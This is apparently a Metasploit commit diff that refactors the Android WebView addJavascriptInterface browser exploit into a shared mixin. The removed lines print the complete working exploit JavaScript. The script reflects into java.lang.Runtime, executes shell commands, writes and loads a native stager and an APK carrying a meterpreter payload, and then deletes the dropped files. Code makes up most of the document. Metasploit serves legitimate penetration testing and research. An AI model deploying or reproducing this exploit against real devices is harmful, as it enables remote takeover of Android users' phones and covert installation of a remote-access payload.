Add exploit for ajsif vuln in Adobe Reader.
* This refactors the logic of webview_addjavascriptinterface into a mixin (android.rb). * Additionally, some behavior in pdf.rb had to be modified (in backwards-compatible ways). Conflicts: lib/msf/core/exploit/mixins.rb
This commit is contained in:
@@ -4,25 +4,13 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/android'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
# Since the NDK stager is used, arch detection must be performed
|
||||
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
|
||||
|
||||
# Most android devices are ARM
|
||||
DEFAULT_ARCH = ARCH_ARMLE
|
||||
|
||||
# Some of the default NDK build targets are named differently than
|
||||
# msf's builtin constants. This mapping allows the ndkstager file
|
||||
# to be looked up from the msf constant.
|
||||
NDK_FILES = {
|
||||
ARCH_ARMLE => 'armeabi',
|
||||
ARCH_MIPSLE => 'mips'
|
||||
}
|
||||
include Msf::Exploit::Android
|
||||
|
||||
autopwn_info(
|
||||
:os_flavor => 'Android',
|
||||
@@ -105,84 +93,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
send_response_html(cli, html(arch))
|
||||
end
|
||||
|
||||
# The NDK stager is used to launch a hidden APK
|
||||
def ndkstager(stagename, arch)
|
||||
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
|
||||
data = File.read(localfile, :mode => 'rb')
|
||||
data.gsub!('PLOAD', stagename)
|
||||
end
|
||||
|
||||
def js(arch)
|
||||
stagename = Rex::Text.rand_text_alpha(5)
|
||||
script = %Q|
|
||||
function exec(runtime, cmdArr) {
|
||||
var ch = 0;
|
||||
var output = '';
|
||||
var process = runtime.exec(cmdArr);
|
||||
var input = process.getInputStream();
|
||||
|
||||
while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
|
||||
return output;
|
||||
}
|
||||
|
||||
function attemptExploit(obj) {
|
||||
// ensure that the object contains a native interface
|
||||
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
|
||||
|
||||
// get the pid
|
||||
var pid = obj.getClass()
|
||||
.forName('android.os.Process')
|
||||
.getMethod('myPid', null)
|
||||
.invoke(null, null);
|
||||
|
||||
// get the runtime so we can exec
|
||||
var runtime = obj.getClass()
|
||||
.forName('java.lang.Runtime')
|
||||
.getMethod('getRuntime', null)
|
||||
.invoke(null, null);
|
||||
|
||||
// libraryData contains the bytes for a native shared object built via NDK
|
||||
// which will load the "stage", which in this case is our android meterpreter stager.
|
||||
// LibraryData is loaded via ajax later, because we have to access javascript in
|
||||
// order to detect what arch we are running.
|
||||
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
|
||||
|
||||
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
|
||||
// another stager which loads android meterpreter from the msf handler.
|
||||
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
|
||||
|
||||
// get the process name, which will give us our data path
|
||||
// $PPID does not seem to work on android 4.0, so we concat pids manually
|
||||
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
|
||||
|
||||
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
|
||||
var stagePath = path + '/#{stagename}.apk';
|
||||
|
||||
// build the library and chmod it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
|
||||
runtime.exec(['chmod', '700', libraryPath]).waitFor();
|
||||
|
||||
// build the stage, chmod it, and load it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
|
||||
runtime.exec(['chmod', '700', stagePath]).waitFor();
|
||||
|
||||
// load the library (this fails in x86, figure out why)
|
||||
runtime.load(libraryPath);
|
||||
|
||||
// delete dropped files
|
||||
runtime.exec(['rm', stagePath]).waitFor();
|
||||
runtime.exec(['rm', libraryPath]).waitFor();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
for (i in top) { if (attemptExploit(top[i]) === true) break; }
|
||||
|
|
||||
|
||||
# remove comments and empty lines
|
||||
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
|
||||
end
|
||||
|
||||
# Called when a client requests a .js route.
|
||||
# This is handy for post-XSS.
|
||||
def serve_static_js(cli, req)
|
||||
@@ -191,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
if arch.present?
|
||||
print_status("Serving javascript for arch #{normalize_arch arch}")
|
||||
send_response(cli, js(normalize_arch arch), response_opts)
|
||||
send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
|
||||
else
|
||||
print_status("Serving arch detection javascript")
|
||||
send_response(cli, static_arch_detect_js, response_opts)
|
||||
|
||||
Reference in New Issue
Block a user